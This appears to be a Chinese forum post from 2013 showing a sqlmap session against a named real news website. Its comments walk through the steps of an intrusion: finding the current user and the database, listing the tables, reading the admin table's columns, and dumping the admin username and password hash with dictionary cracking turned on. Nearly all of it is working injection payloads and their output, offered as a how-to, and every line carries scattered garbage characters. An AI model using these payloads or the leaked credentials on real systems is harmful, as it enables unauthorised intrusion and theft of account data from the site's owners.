D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
8 ?7 L& B+ B, h8 O+ `ms "Mysql" --current-user /* 注解：获取当前用户名称
# W% w0 Q1 |, A% i, ]7 E- x sqlmap/0.9 - automatic SQL injection and database takeover tool
2 x; X5 R5 p0 H) E: V) r http://sqlmap.sourceforge.net starting at: 16:53:54( b5 t/ k8 h2 {: m( K1 q
[16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
4 G$ e% j0 T" r4 k3 @4 b& O2 N session file+ {' ]9 o, g# M5 u% s& c& k$ f
[16:53:54] [INFO] resuming injection data from session file# Y, @9 n+ f, i9 G2 t L3 ]
[16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
4 J! W- W, `) h) L[16:53:54] [INFO] testing connection to the target url
5 w, P$ o& a$ jsqlmap identified the following injection points with a total of 0 HTTP(s) reque
" x( u1 S; w+ L1 c! Bsts:
% }2 u1 [9 x# B! ^8 F; W5 D---
( {0 A+ w6 C$ }5 F- ]7 TPlace: GET! M* k; ~3 N! h: K! L8 U' B
Parameter: id9 t \ o6 E, |% F3 C
Type: boolean-based blind( B, ]2 ]" _( R/ F
Title: AND boolean-based blind - WHERE or HAVING clause0 K1 g7 E( ^& q* p, Y6 [/ ?
Payload: id=276 AND 799=7991 D- V8 Q* u' Y" x
Type: error-based
0 V. n0 O$ E* Q' s Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause+ i1 K* v6 ]+ V/ _
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
# V* }9 E4 u& a+ v, z/ J120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58 D) a# c) z5 f! j& q
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
: w5 Y% L3 b7 e! c0 m% F6 D+ I& Z9 O. W Type: UNION query
) a) `( _) n) B6 W0 _4 O$ s Title: MySQL UNION query (NULL) - 1 to 10 columns- R O. b: U6 M9 W1 B0 X7 }# ?7 D
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
7 t" H+ q! S3 n$ X8 m(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),+ y F6 o! Q, E" s W' Q
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#/ U( B5 S- D& R( F2 T4 C; y
Type: AND/OR time-based blind
( I$ ]8 Z0 v. r Title: MySQL > 5.0.11 AND time-based blind7 z7 W2 b# f- n' f9 ^: g/ n
Payload: id=276 AND SLEEP(5)
1 r$ E" v$ p3 C# r---
+ @) l$ R" p, t[16:53:55] [INFO] the back-end DBMS is MySQL
. y, f( d4 K6 N9 _3 Jweb server operating system: Windows
. U" K' i- Z" |0 e% s- s8 Hweb application technology: Apache 2.2.11, PHP 5.3.0
5 d5 f1 m! F, G/ f/ yback-end DBMS: MySQL 5.0
9 E+ E2 f) T! _4 \8 {: g' i& X! t[16:53:55] [INFO] fetching current user2 e6 s! g, A; B& M* C. P! ]7 u
current user: 'root@localhost' 9 B8 t9 z5 e, q! `2 _6 F' z
[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
6 I1 s( W1 N# u! }4 J rtput\www.wepost.com.hk' shutting down at: 16:53:58' l( w5 y, Q G
, L3 n F0 f& A( f9 M" e# E3 X
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db3 Y. c9 s' u; i* {- _
ms "Mysql" --current-db /*当前数据库
9 o' x7 Z8 W) H) Q" X/ X0 G sqlmap/0.9 - automatic SQL injection and database takeover tool5 w- P8 M& }: @/ l) W6 @( q
http://sqlmap.sourceforge.net starting at: 16:54:16
. U x1 N; m5 F* D. U: ?[16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
7 b U8 O6 A; d, j' |( O. F/ ~# a session file
$ l( u$ U" W4 F8 {( W) J: F[16:54:16] [INFO] resuming injection data from session file
0 p/ N; p. j! H7 ^0 u8 H$ `9 g$ o! K[16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file! X8 w* c6 `6 ^
[16:54:16] [INFO] testing connection to the target url
* |: A4 i; f; d; _sqlmap identified the following injection points with a total of 0 HTTP(s) reque- C( Y; s# K ^( q4 T& k O
sts:
' ]: o0 H; `) R x% F- D* \---
+ Z* e! A+ C4 q8 E( V7 P; g! A; _Place: GET
$ c. S$ f+ k. A& ]1 _Parameter: id& E; o7 C* I/ f! g9 u @+ @. y
Type: boolean-based blind! S& r$ C& t& P9 o6 _
Title: AND boolean-based blind - WHERE or HAVING clause
$ L) q$ {, m9 [ Payload: id=276 AND 799=799
7 ~$ S0 U9 v+ y5 G( C# K Type: error-based
1 T7 P( N7 t4 J( T, T Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
8 V. [) o3 k. O0 _ Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
1 T: Q2 s4 k# ~* F8 I2 ?120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
& z! R+ r# r1 ?),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)% I8 }5 u# V ]6 h
Type: UNION query
8 Y2 ^9 s6 f" T( S Title: MySQL UNION query (NULL) - 1 to 10 columns
+ S$ n. V3 V5 ^& O% l: }) j1 d Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR6 P8 W6 O9 j1 k
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),7 ?+ |! `* c/ h) o$ T# r, B
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#4 `- p5 |2 M- F, n
Type: AND/OR time-based blind+ W& B$ Q* d3 p# k5 {5 `
Title: MySQL > 5.0.11 AND time-based blind
& b5 [1 F, s* J8 l) E; V8 N Payload: id=276 AND SLEEP(5)0 M; l+ q5 p- e. ?' Q" E
---
' z2 h+ b) p9 N# O1 e1 h[16:54:17] [INFO] the back-end DBMS is MySQL
1 P6 U0 d; h( G, Q7 {/ Qweb server operating system: Windows$ G: @+ e1 d% j' ^1 ]! v
web application technology: Apache 2.2.11, PHP 5.3.0
- ~0 m4 h- C% M* Y& N& n/ rback-end DBMS: MySQL 5.06 f; m( z( P$ l( I% X! a
[16:54:17] [INFO] fetching current database3 U$ x1 b: @+ M. l: ?1 k+ t5 }
current database: 'wepost', h. a/ x$ Y: h0 v
[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
- @: C7 u1 _. b" Ztput\www.wepost.com.hk' shutting down at: 16:54:18
1 D9 b: h4 m# i& AD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db8 y2 [' n6 L) Z% _! d, _
ms "Mysql" --tables -D "wepost" /*获取当前数据库的表名3 _* x: Q' h9 D1 Z; v F
sqlmap/0.9 - automatic SQL injection and database takeover tool
! D* D: `) K, v0 R; k, r http://sqlmap.sourceforge.net starting at: 16:55:25! R! F( F, A' o2 J- U
[16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as2 ?4 Y2 x9 l* A" n4 F" h
session file
" z8 H) B6 C. N. f5 W/ k/ Q[16:55:25] [INFO] resuming injection data from session file
. g2 n# p3 W& y! K# H+ D[16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file6 h' K9 m' H V3 F# Q
[16:55:25] [INFO] testing connection to the target url
K- @& ]6 r0 Q8 asqlmap identified the following injection points with a total of 0 HTTP(s) reque) X6 `2 N2 I5 {
sts:- \! m7 `6 X3 D' [' n1 U2 d/ s
---& O* F7 r( Y( x* R1 j" s
Place: GET9 G+ i9 @4 Y; D7 `1 \
Parameter: id
5 m5 b0 R, E8 ^ Type: boolean-based blind+ R; Q* G3 w: L1 I3 P
Title: AND boolean-based blind - WHERE or HAVING clause1 ^2 S, b6 \! t h
Payload: id=276 AND 799=799
7 M- z5 H# c, B" q/ X3 v- s Type: error-based# c6 W5 A/ z- V/ C
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause& }- W c3 C* Z) E+ f! y9 Z
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,) j: y, w" C( L( z* C4 O% v
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58 G1 p# U/ f) e$ s7 r+ ~
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a), G3 y! z/ H" D# I; d6 |7 k
Type: UNION query
9 f8 i. d! l3 `$ n Title: MySQL UNION query (NULL) - 1 to 10 columns
1 S3 _/ |! R2 z$ Q4 d Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
5 s8 [0 m' u2 P(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),4 u! l R' | a8 h4 {5 l
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#. o5 _) @* x* x; f/ W
Type: AND/OR time-based blind
! `4 [7 x! T7 E! O2 W; Y Title: MySQL > 5.0.11 AND time-based blind1 K& ^& r0 j. }
Payload: id=276 AND SLEEP(5)) ~0 p3 D& g) e9 Z4 w( R% r$ E
---, C# V- R9 T& b- n3 \2 s, E
[16:55:26] [INFO] the back-end DBMS is MySQL
a6 X4 V/ T {web server operating system: Windows. x- K3 ^- r* U6 M$ v% x
web application technology: Apache 2.2.11, PHP 5.3.0
6 N# s, P% V3 Z3 i, \* ?% i* {back-end DBMS: MySQL 5.0
h+ j- b0 p: Q. C( q0 o' y[16:55:26] [INFO] fetching tables for database 'wepost'
. x( n$ U; z) y, C! {8 {[16:55:27] [INFO] the SQL query used returns 6 entries- M8 i( \% ^/ f9 G3 s
Database: wepost* t( m/ R1 b) _8 ?2 G9 g: M
[6 tables]9 Z8 p4 S4 d3 M% v2 d! k
+-------------+$ c. T. L5 c- T2 P
| admin |
; I9 l9 w: d! N7 A. a; `9 d| article |; e- R; g1 v; n* N% }
| contributor |! \9 h4 ~7 F3 f4 S
| idea |
) Q% h/ R8 v% P& K8 Q| image |
1 H4 y6 M" s- R E/ N| issue |
, z. ~4 a3 a; k/ w1 M& z, g. b+-------------+
, @0 z6 K6 X5 w2 o* U* i[16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
0 J1 g- G! g& G! K) s7 y! G# Atput\www.wepost.com.hk' shutting down at: 16:55:33. A% @- h$ e/ W
+ T* V, Y. m! z% ~5 q) o3 r% OD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db! `: ?4 M9 F$ S4 Z y2 n
ms "Mysql" --columns -T "admin" users-D "wepost" -v 0 /*获取admin表的字段名; v- b) @9 I3 A0 E0 k6 ^
sqlmap/0.9 - automatic SQL injection and database takeover tool
( G% e1 k5 n; E# |' d8 h http://sqlmap.sourceforge.net starting at: 16:56:06. l) O+ ~2 ^7 m2 U7 {
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
5 r# J1 H) J2 H( Qsts:; ~7 g: m8 Y2 d8 \% `
---
1 O/ }, V$ T8 I. l. q' I' ?, C4 u5 gPlace: GET
& E7 G" a( I: ?2 z0 jParameter: id+ i3 o% @' R, `2 z% Z3 `( |
Type: boolean-based blind
' \* q9 j; m6 Q% X$ Z3 ? r Title: AND boolean-based blind - WHERE or HAVING clause
* o" x+ U( O9 t3 @- Z Payload: id=276 AND 799=799/ Q& G7 T2 B `2 d/ t
Type: error-based% y$ B: X$ }8 \% L
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause- Y: Q8 O( B" q [
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
, o& ~) k; H- z7 l. [120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
: X( o5 ^& z! t6 a+ b5 P),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
/ }. J9 h: f# L# C- y% D* Q Type: UNION query
x) {7 X; X @ P7 Q Title: MySQL UNION query (NULL) - 1 to 10 columns
. Y" s9 ?/ j! X Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR6 A$ y% b3 `( c
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
9 ~/ M1 c+ H, J Y5 rCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#$ k3 o7 `3 [2 Y# w
Type: AND/OR time-based blind
0 G* p6 n$ T( S; ~: L3 P% j Title: MySQL > 5.0.11 AND time-based blind* O0 W4 p1 m5 ?" M; F4 [0 ]
Payload: id=276 AND SLEEP(5)
! k U/ W$ |+ V$ A---& H1 P# P% O) G
web server operating system: Windows
$ a2 K9 J; x u* T$ `! ?web application technology: Apache 2.2.11, PHP 5.3.0
, a8 M1 N. s( k1 o$ r, L6 Jback-end DBMS: MySQL 5.0" H( f' a- U4 x; ? F4 P6 T' Z, a
[16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se' d$ X& @& [ \% O7 h' M
ssion': wepost, wepost
4 h5 q' k8 v. F9 e: M9 ^( dDatabase: wepost# Z; Z4 h# ^! F- B
Table: admin
2 d' y" l8 x! t0 A' W( X/ I[4 columns]) s8 }' H7 G4 }+ i9 i# _
+----------+-------------+
0 V/ u& r1 ?0 q% S) @) s| Column | Type |; C- s0 k1 b. [& b$ S
+----------+-------------+- @* D3 J$ \; s- ~; H4 m
| id | int(11) |
2 B/ ?4 o3 R! ~2 ]| password | varchar(32) |
8 P* t" K0 G: S+ z% ?) _8 O3 p+ }| type | varchar(10) |
. _; I! d* z2 |0 E' ?! c0 p| userid | varchar(20) |4 s$ ?! k* F& {
+----------+-------------+- I8 ?+ d; |" I/ U' U
shutting down at: 16:56:19
, o: m8 d$ p' p* B9 J: K3 X2 M: ]
0 y; A6 d4 a- P% q4 AD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db, ]' t- k! Y2 i. z0 g. R$ J5 P
ms "Mysql" --dump -C "userid,password" -T "admin" -D "wepost" -v 0 /*获取字段里面的内容+ o4 C9 E, }# y* V( u. j: o# `
sqlmap/0.9 - automatic SQL injection and database takeover tool8 E1 J' K6 Q6 j% A/ ^
http://sqlmap.sourceforge.net starting at: 16:57:14
# q% `' G; W& @( Csqlmap identified the following injection points with a total of 0 HTTP(s) reque: V8 Q% P5 j5 L m/ V2 o
sts:7 P6 `5 H, A* p( S2 X
---
$ w9 H$ K' k- Y4 ]Place: GET' }3 R' _ W) I& q0 m9 D/ H, I g/ i
Parameter: id' y3 F$ V" U& g0 u' B! x' u1 X
Type: boolean-based blind
F3 U# s( }$ Y! n' l# K Title: AND boolean-based blind - WHERE or HAVING clause+ I$ w. Y9 c3 @ Q) b2 ~* m
Payload: id=276 AND 799=799
6 U: F% h2 J: { Type: error-based+ r2 M: k. l7 X! l+ {3 R
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause% n" N2 O/ o5 W; R5 p$ u3 B
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,- D0 ~6 o" J; w* M9 j
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58& f- [6 e" ?: u; p8 u7 h
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
* {- ^ I! O& _8 e+ H Type: UNION query
( g9 k: d5 g R, w0 Y! P Title: MySQL UNION query (NULL) - 1 to 10 columns
0 @, j0 D# j$ r2 d Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR& V- H; [$ w$ ^& [" h
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
' L+ A6 `* L0 |' q {; _CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
% {! l. {9 Z9 W8 @ Type: AND/OR time-based blind
# t6 ^4 l X0 J& u' _6 ` Title: MySQL > 5.0.11 AND time-based blind# H. T2 Y" r( |! n# a* o k) _
Payload: id=276 AND SLEEP(5)% I0 O* F! g3 ~2 c
---
: N3 Z' Q! R' b9 }web server operating system: Windows
) b% X/ r( i& o" L- Q8 U! d$ o( H9 xweb application technology: Apache 2.2.11, PHP 5.3.0
0 x# Q1 R! N; U2 E7 U0 ~# x0 a- S9 Xback-end DBMS: MySQL 5.03 z$ }# l# h3 s8 d. W* I
recognized possible password hash values. do you want to use dictionary attack o, `9 I' a, E) U4 n3 z# ~" M
n retrieved table items? [Y/n/q] y
4 k7 p, N' U% Xwhat's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]
: Z! c; m5 y+ \' ydo you want to use common password suffixes? (slow!) [y/N] y
6 y5 _" t6 @. w {+ j0 sDatabase: wepost
0 I) H" _# S, y3 I. n& `Table: admin. P g% g; R9 j# }
[1 entry]
( |9 W# O2 g% u' P+----------------------------------+------------+: E5 y' ?$ C' u- |/ W; x8 R
| password | userid |) k" U8 {( P$ P3 s4 c
+----------------------------------+------------+8 o+ O1 u) A$ \/ \$ U
| 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |$ R* E7 K: w" k4 ?
+----------------------------------+------------+$ h8 Z6 O+ K6 ^% H5 i4 \
shutting down at: 16:58:14* j2 D+ v" |) y+ c# q
$ w% L: S% ]: ?: f) q1 R- F2 d9 Z' p
D:\Python27\sqlmap> |
发表于 2013-4-4 22:18:49
收藏
支持
反对